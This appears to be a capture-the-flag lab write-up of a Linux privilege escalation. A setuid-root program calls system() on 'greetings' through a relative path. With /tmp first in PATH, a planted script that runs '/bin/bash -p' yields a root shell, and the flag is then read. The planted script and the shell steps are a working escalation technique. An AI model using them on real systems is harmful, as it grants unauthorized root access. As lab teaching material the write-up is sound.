Files own by root

```
student@attackdefense:~$ ls -lah
total 44K
drwxr-xr-x 1 student student 4.0K Aug 26 12:50 .
drwxr-xr-x 1 root    root    4.0K Sep 22  2018 ..
-rw-r--r-- 1 root    root      88 Sep 22  2018 .bashrc
-rw------- 1 student student  818 Aug 26 12:50 .viminfo
-r-x------ 1 root    root    8.2K Sep 22  2018 greetings
-rwsr-xr-x 1 root    root    8.2K Sep 22  2018 welcome
student@attackdefense:~$
```

The flow of the program is that it sets setuid to 0 then call on the system function to execute program.

```
student@attackdefense:~$ objdump -M intel -d ./welcome

./welcome:     file format elf64-x86-64

SNIPPED

000000000000068a <main>:
 68a:   55                      push   rbp
 68b:   48 89 e5                mov    rbp,rsp
 68e:   bf 00 00 00 00          mov    edi,0x0
 693:   e8 c8 fe ff ff          call   560 <setuid@plt>
 698:   48 8d 3d 95 00 00 00    lea    rdi,[rip+0x95]        # 734
<_IO_stdin_used+0x4>
 69f:   e8 ac fe ff ff          call   550 <system@plt>
 6a4:   b8 00 00 00 00          mov    eax,0x0
 6a9:   5d                      pop    rbp
 6aa:   c3                      ret
 6ab:   0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]
```

From the strings output, can basically guess it execute stuff inside the greetings file

```
student@attackdefense:~$ strings welcome
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
__cxa_finalize
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
AWAVI
AUATL
[]A\A]A^A_
greetings
```

Path manipulation, will execute greetings that is found on /tmp

```
student@attackdefense:~$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/student/
```

Contents on greetings on /tmp, malicious

```
student@attackdefense:/tmp$ cat greetings
#!/bin/bash
/bin/bash -p
student@attackdefense:/tmp$
```

Privilege escalation

```
student@attackdefense:~$ ./welcome
root@attackdefense:~# id
uid=0(root) gid=999(student) groups=999(student)
root@attackdefense:/root# ls -lah
total 20K
drwx------ 1 root root 4.0K Nov  2  2018 .
```

```
drwxr-xr-x 1 root root 4.0K Aug 26 12:44 ..
-rw-r--r-- 1 root root 3.1K Apr  9  2018 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw-r--r-- 1 root root   33 Nov  2  2018 flag
root@attackdefense:/root# cat flag
b92bcdc876d52108778e2d81f3b01494
root@attackdefense:/root#
```